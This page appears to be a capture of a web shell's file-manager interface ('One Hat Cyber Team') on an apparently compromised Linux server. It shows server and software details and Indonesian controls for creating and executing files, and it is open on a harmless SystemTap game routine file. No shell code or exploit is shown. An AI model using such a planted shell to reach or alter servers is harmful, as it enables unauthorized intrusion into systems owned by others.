One Hat Cyber Team
Your IP :
216.73.216.80
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
systemtap
/
examples
/
stapgames
/
tapset
/
Edit File:
game.stp
# Miscellaneous routines for games # Copyright (C) 2008 Masami Hiramatsu <masami.hiramatsu@gmail.com> # # This file is free software and is distributed under the terms of the GNU # General Public License (GPL); either version 2, or (at your option) any # later version. global __GM_rand_seed function game_srand(seed:long) { __GM_rand_seed = seed } function __game_lfsr(val:long) /* pure */ %{ u64 r = THIS->val; r = (r >> 1) ^ ((-(r & 1ULL)) & 0xd800000000000000ULL); THIS->__retvalue = r; %} function game_rand() { return __GM_rand_seed = __game_lfsr(__GM_rand_seed) } function game_urand() { rand = game_rand() return rand<0?-rand:rand }
Simpan